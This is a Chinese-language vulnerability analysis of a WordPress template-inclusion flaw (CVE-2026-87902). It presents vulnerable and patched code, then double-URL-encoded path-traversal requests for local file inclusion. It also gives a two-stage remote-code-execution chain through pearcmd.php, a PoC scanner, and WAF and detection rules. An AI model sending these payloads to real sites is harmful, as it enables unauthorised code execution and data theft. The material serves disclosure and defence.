WordPress最新漏洞:CVE-2026-87902技术剖析

admin 2026-09-29 05:25:59 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: WordPress核心漏洞CVE-2026-87902影响4.7.0至7.1.1版本,CVSS9.2。根因是getpagetemplate()未校验路径,双重URL编码可绕过实现LFI,特定PHP配置下可升级RCE。建议升级至7.1.2等修复版本,关闭registerargcargv并部署WAF规则拦截恶意pagename参数。 综合评分: 88 文章分类: 漏洞分析,代码审计,应急响应,漏洞预警,安全工具


WordPress最新漏洞:CVE-2026-87902技术剖析

原创

Red Hunter Red Hunter

黑白之道

2026年9月24日 08:30 韩国

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

导语:Nicolas Krassas(Dinosn)近日公开了WordPress核心一处严重漏洞的完整利用链。漏洞编号CVE-2026-87902,对应GitHub Advisory GHSA-7hp8-65ch-5whp。攻击者无需登录,配合双重URL编码即可让 get_page_template() 加载任意 PHP 文件,在 register_argc_argv=On 且 pearcmd.php 可读的环境下还能升级为 RCE。影响范围覆盖 WordPress 4.7.0 至 7.1.1 全部版本,CVSS 4.0 评分 9.2。


一、漏洞概述

CVE-2026-87902 属于 CWE-98(Improper Control of Filename for Include/Require),根因是 wp-includes/template.php 中 get_page_template() 函数构建模板候选路径时未对用户输入做路径合法性校验。

1.1 受影响范围

| 项目 | 范围 | | — | — | | 受影响版本 | WordPress 4.7.0 – 7.1.1 | | 修复版本 | 7.1.2(含 7.0.6 / 6.9.9 / 6.8.10 / 4.7.37 等分支回移植) | | 认证要求 | 无(未认证即可利用) | | CVSS 4.0 | 9.2(AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H) | | 利用前置 | 当前主题含 page- 开头的目录(如 page-templates/) | | RCE 额外前置 | PHP 配置 register_argc_argv=On 且 pearcmd.php 可读 |

1.2 利用条件

要走到 RCE,两个前置缺一不可:

  • 启用主题存在以 page- 开头的目录——Twenty Twelve、Twenty Fourteen、Neve、Hestia、Sydney 等热门主题都满足
  • PHP 环境同时满足 register_argc_argv=On 和 pearcmd.php 可读——典型情况是 Docker 镜像 wordpress:php8.3-apache

只满足第一个前置时,仍能稳定触发 LFI(本地文件包含),影响虽小于 RCE 但足以读取敏感配置。


二、漏洞原理

2.1 漏洞代码

WordPress 7.1.1 中 get_page_template() 的关键逻辑:

// WordPress 7.1.1(VULNERABLE)
if ( $pagename ) {
    $pagename_decoded = urldecode( $pagename );
    if ( $pagename_decoded !== $pagename ) {
        // 没有 validate_file() 校验
        $templates[] = "page-{$pagename_decoded}.php";
    }
    $templates[] = "page-{$pagename}.php";
}

问题出在 $pagename_decoded !== $pagename 这个分支:一旦传入的 pagename 经过 URL 解码后会变化,就把解码结果拼到模板候选路径里。攻击者只需要让”原始值”和”解码值”不同,就能把任意路径塞进去——validate_file() 本该在这里把关,但被漏掉了。

2.2 修复代码

7.1.2 给这个分支补上了和兄弟分支一致的守卫,外加路径容器校验:

// WordPress 7.1.2(PATCHED)
if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {
    $templates[] = "page-{$pagename_decoded}.php";
}
// 加 _wp_is_template_path_allowed() 强制解析路径必须落在主题根目录

2.3 双重 URL 编码为何能绕过

get_query_var('pagename') 在 PHP 这一层已经被单次解码了。如果直接发 pagename=../,urldecode() 再解一遍结果仍是 ../,攻击分支不会进入。

双重编码能破局:

| 步骤 | 内容 | 状态 | | — | — | — | | 原始 payload | templates%252f%252e%252e%252fwp-links-opml | 第一次解码 | | PHP 解码后 | templates%2f%2e%2e%2fwp-links-opml | 与原始不同,触发漏洞分支 | | urldecode() 再解 | templates/../wp-links-opml | 路径遍历生效 |

%252e 第一次解码变 %2e,第二次解码才是 .。两个解码层叠在一起,正好绕过单次解码的检查。


三、利用链详解

3.1 LFI 探测(无破坏)

最稳的探测 Payload 直接包含 WordPress 自带的 wp-links-opml.php:

POST /?page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwp-links-opml

响应 200 且 body 含 <opml version="1.0"> 即表示 LFI 触发。

四个 .. 对应深度 4,正好从 page-templates/ 目录穿越回 web 根。Depth 3、5、6、7 都没用——必须正好走出 page 模板目录。

3.2 条件 RCE(深度 7)

如果环境同时满足 register_argc_argv=On 和 pearcmd.php 可读,能升级为 RCE。第一阶段用 PEAR 的 config-create 写入 marker PHP:

POST /?+config-create+/+/tmp/x.php
body: page_id=2&pagename=templates%252f(%252e%252e%252f x7)usr%252flocal%252flib%252fphp%252fpearcmd

(+ 是 PHP 把 query string 拆成 argv 的标记。x7 表示连续 7 次 ../ 走出到根目录,再钻进 /usr/local/lib/php/pearcmd。第二阶段把刚写的 marker 包含执行:

POST /?page_id=2&pagename=templates%252f(%252e%252e%252f x7)tmp%252fx

响应 body 会包含 PHP marker 内容 + php_uname() + uid=33(以 www-data 身份执行)。

3.3 利用条件组合

| 条件 | LFI | RCE | | — | — | — | | 主题有 page- 目录 | ✓ 必须 | ✓ 必须 | | 单次解码绕过 | ✓ 必须 | ✓ 必须 | | register_argc_argv=On | ✗ 不需要 | ✓ 必须 | | pearcmd.php 可读 | ✗ 不需要 | ✓ 必须 |

实战中 Docker 部署的 WordPress 几乎都满足全部条件,裸金属或 VPS 部署的 LFI 成功率较高,RCE 要看具体 PHP 配置。


四、PoC 工具

Dinosn 在 GitHub 公开了完整的复现实验室 + 扫描器 + PoC,包含:

  1. Docker 复现环境:同机运行 WP 7.1.1(漏洞版)和 7.1.2(修复版),共享 MySQL,只绑定 127.0.0.1 不对外暴露
  2. URL-list 扫描器cve-2026-87902-scan.py:纯 Python3 标准库实现,无第三方依赖;支持单 URL / 文件批量 / stdin 输入;20 worker 并发;JSON/JSONL 报告输出
  3. OPML oracle 验证脚本manual-validate.sh:证明漏洞版命中、修复版静默、单次编码失败
  4. RCE 验证脚本rce-validate.sh:完整 PEAR chain 跑通,uid=33 写入 marker
  5. 场景测试日志ev-scan-table.log、ev-scan-results.json:覆盖漏洞版 / 修复版 / 非 WP / 死链四类样本

扫描器输出四种判定:

  • VULNERABLE:OPML oracle 命中,LFI 确认
  • POSSIBLY_VULNERABLE:版本在范围内但 oracle 没响(多半主题目录非标准或 page id 找不到)
  • NOT_VULNERABLE:修复版或版本不在 4.7.0–7.1.1
  • NOT_WORDPRESS / ERROR:非 WP 站点 / 网络失败

退出码也带语义:2 表示至少有一个 VULNERABLE;1 表示只有 POSSIBLY;0 表示全部安全或失败。CI/CD 集成直接用退出码即可。


五、防御方案

5.1 升级修复(最优先)

把 WordPress 升到 7.1.2,或所属分支的修复版本:

  • 7.1 主线 → 7.1.2
  • 7.0 分支 → 7.0.6
  • 6.9 分支 → 6.9.9
  • 6.8 分支 → 6.8.10
  • 4.7 分支 → 4.7.37

5.2 纵深防御

即便打了补丁,建议继续加固:

  • PHP 配置 register_argc_argv=Off(web SAPI)
  • 移除或禁止访问 pearcmd.php
  • WAF 规则:对 pagename 参数做完整 URL 解码后,若含 .. 直接阻断
  • 重点告警:page_id 与 pagename 同时出现,且 pagename 以 templates%252f 开头或含 %252e%252e——几乎肯定是攻击信号

5.3 资产排查

国内 WordPress 站众多,建议先用扫描器对自有资产批量扫一轮:

./cve-2026-87902-scan.py -f urls.txt --threads 20 --json report.json

退出码非 0 的目标立刻进入修复流程。


六、附录

官方公告:

  • GitHub Security Advisory:https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-7hp8-65ch-5whp

PoC 与复现实验仓库:

  • https://github.com/dinosn/cve-2026-87902-wordpress-lfi-lab

复现命令:

# 拉仓库
git clone https://github.com/dinosn/cve-2026-87902-wordpress-lfi-lab
# 起漏洞版 + 修复版两套 WP
cd cve-2026-87902-wordpress-lfi-lab
./up.sh
# 单 URL 扫描
./cve-2026-87902-scan.py http://127.0.0.1:8091/
# RCE 验证(仅授权目标)
./cve-2026-87902-scan.py http://target/ --verify-rce --i-have-authorization --page-id 2

CVE 详情:

  • CVE-2026-87902(MITRE / NVD 收录后即可查询)

原文推文:

  • https://x.com/Dinosn/status/2102629429684105397

👇 点击阅读原文,访问我的网站



免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。

本文转载自:黑白之道 Red Hunter Red Hunter《WordPress最新漏洞:CVE-2026-87902技术剖析》

评论:0   参与:  0